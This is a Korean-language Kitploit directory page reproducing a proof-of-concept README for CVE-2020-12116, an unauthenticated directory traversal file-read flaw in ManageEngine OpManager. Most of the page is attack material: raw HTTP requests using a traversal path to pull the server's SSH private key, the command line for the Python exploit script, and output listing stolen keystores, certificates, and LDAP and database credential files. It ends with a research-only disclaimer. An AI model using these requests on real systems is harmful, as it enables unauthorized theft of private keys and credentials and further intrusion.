Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-12116 — 개념 증명 코드: CVE-2020-12116을 악용하는 ManageEngine OpManger에서의 인증 없는 임의 파일 읽기. | Kitploit
도구/GitHubGitHub/beetlechunks/cve-2020-12116
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubbeetlechunks/cve-2020-12116

CVE-2020-12116

개념 증명 코드: CVE-2020-12116을 악용하는 ManageEngine OpManger에서의 인증 없는 임의 파일 읽기.

저장소 보기
30106년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-12116

CVE-2020-12116 취약점을 악용하기 위한 개념 증명 코드: ManageEngine OpManager에서의 인증되지 않은 임의 파일 읽기.

요약

OpManager의 최신 릴리스에는 디렉터리 트래버설 취약점이 포함되어 있어 OpManager 애플리케이션의 모든 파일에 대한 무제한 액세스를 허용합니다. 여기에는 개인 SSH 키, 비밀번호로 보호된 Java 키스토어, 키스토어, 개인 인증서 및 백엔드 데이터베이스의 비밀번호를 포함하는 구성 파일이 포함됩니다. LDAP가 구성된 경우 "conf/OpManager/ldap.conf"에서 도메인 자격 증명을 얻을 수 있습니다.

취약점 분석

ManageEngine OpManager 애플리케이션의 루트 디렉터리(기본적으로 포트 8060)에 인증되지 않은 GET 요청을 보냅니다.

root@kitploit:~
GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

응답 HTML에는 캐시된 JavaScript "src" URL이 포함됩니다.

root@kitploit:~
<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>

위 "SRC" URL 부분에는 디렉터리 트래버설 취약점이 포함되어 있어 ManageEngine 루트 설치 디렉터리에서 임의 파일 읽기를 허용합니다. 기본 설치 경로는 "C:\Program Files\ManageEngine\OpManager"입니다.

참고: "/cachestart/" 뒤의 숫자는 제품 빌드 번호이지만, 취약점을 악용하기 위해 임의의 숫자를 사용할 수 있습니다.

응답 HTML의 스크립트 소스 URL을 활용하여 디렉터리 트래버설을 포함한 GET 요청으로 원격 서버에서 임의 파일을 읽을 수 있습니다.

요청:

root@kitploit:~
GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/

응답:

root@kitploit:~
HTTP/1.1 200 
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902

-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----

제공된 Python3 악용 코드를 사용한 예제

개요:

root@kitploit:~
이 스크립트는 ManageEngine OpManager 엔드포인트에 대한 임의 파일 읽기 취약점을 활용하여 개인 키, 개인 키스토어, 인증서, 비밀번호가 포함된 구성 파일 등 민감한 파일을 다운로드합니다.

명령어:

root@kitploit:~
python3 exploit.py -t <hostname/IP> -p 8060 -d ./

출력:

root@kitploit:~
[+] bin/.ssh_host_dsa_key saved to ./bin|.ssh_host_dsa_key
[+] bin/.ssh_host_dsa_key.pub saved to ./bin|.ssh_host_dsa_key.pub
[+] bin/.ssh_host_rsa_key saved to ./bin|.ssh_host_rsa_key
[+] bin/.ssh_host_rsa_key.pub saved to ./bin|.ssh_host_rsa_key.pub
[+] conf/client.keystore saved to ./conf|client.keystore
[+] conf/customer-config.xml saved to ./conf|customer-config.xml
[+] conf/database_params.conf saved to ./conf|database_params.conf
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml saved to ./conf|FirewallAnalyzer|aaa_auth-conf.xml
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml saved to ./conf|FirewallAnalyzer|auth-conf_ppm.xml
[+] conf/gateway.conf saved to ./conf|gateway.conf
[+] conf/itom.truststore saved to ./conf|itom.truststore
[+] conf/netflow/auth-conf.xml saved to ./conf|netflow|auth-conf.xml
[+] conf/netflow/server.xml saved to ./conf|netflow|server.xml
[+] conf/netflow/ssl_server.xml saved to ./conf|netflow|ssl_server.xml
[+] conf/NFAEE/cs_server.xml saved to ./conf|NFAEE|cs_server.xml
[+] conf/OpManager/database_params.conf saved to ./conf|OpManager|database_params.conf
[+] conf/OpManager/database_params_DE.conf saved to ./conf|OpManager|database_params_DE.conf
[+] conf/OpManager/ldap.conf saved to ./conf|OpManager|ldap.conf
[+] conf/OpManager/MicrosoftSQL/database_params.conf saved to ./conf|OpManager|MicrosoftSQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params.conf saved to ./conf|OpManager|POSTGRESQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf saved to ./conf|OpManager|POSTGRESQL|database_params_DE.conf
[+] conf/OpManager/securitydbData.xml saved to ./conf|OpManager|securitydbData.xml
[+] conf/OpManager/SnmpDefaultProperties.xml saved to ./conf|OpManager|SnmpDefaultProperties.xml
[+] conf/Oputils/snmp/Community.xml saved to ./conf|Oputils|snmp|Community.xml
[+] conf/Persistence/DBconfig.xml saved to ./conf|Persistence|DBconfig.xml
[+] conf/Persistence/persistence-configurations.xml saved to ./conf|Persistence|persistence-configurations.xml
[+] conf/pmp/PMP_API.conf saved to ./conf|pmp|PMP_API.conf
[+] conf/pmp/pmp_server_cert.p12 saved to ./conf|pmp|pmp_server_cert.p12
[+] conf/product-config.xml saved to ./conf|product-config.xml
[+] conf/SANSeed.xml saved to ./conf|SANSeed.xml
[+] conf/server.keystore saved to ./conf|server.keystore
[+] conf/server.xml saved to ./conf|server.xml
[+] conf/system_properties.conf saved to ./conf|system_properties.conf
[+] conf/tomcat-users.xml saved to ./conf|tomcat-users.xml
[+] lib/OPM_APNS_Cert.p12 saved to ./lib|OPM_APNS_Cert.p12

면책 조항

이 개념 증명 코드는 학술 연구 목적으로 작성되었으며, 명시적으로 승인된 경우를 제외하고 시스템에 대해 사용하기 위한 것이 아닙니다. 코드는 실행에 대한 어떠한 보증이나 약속 없이 "있는 그대로" 제공됩니다. 이 코드의 오용에 대해 저는 책임을 지지 않습니다.

도구 다운로드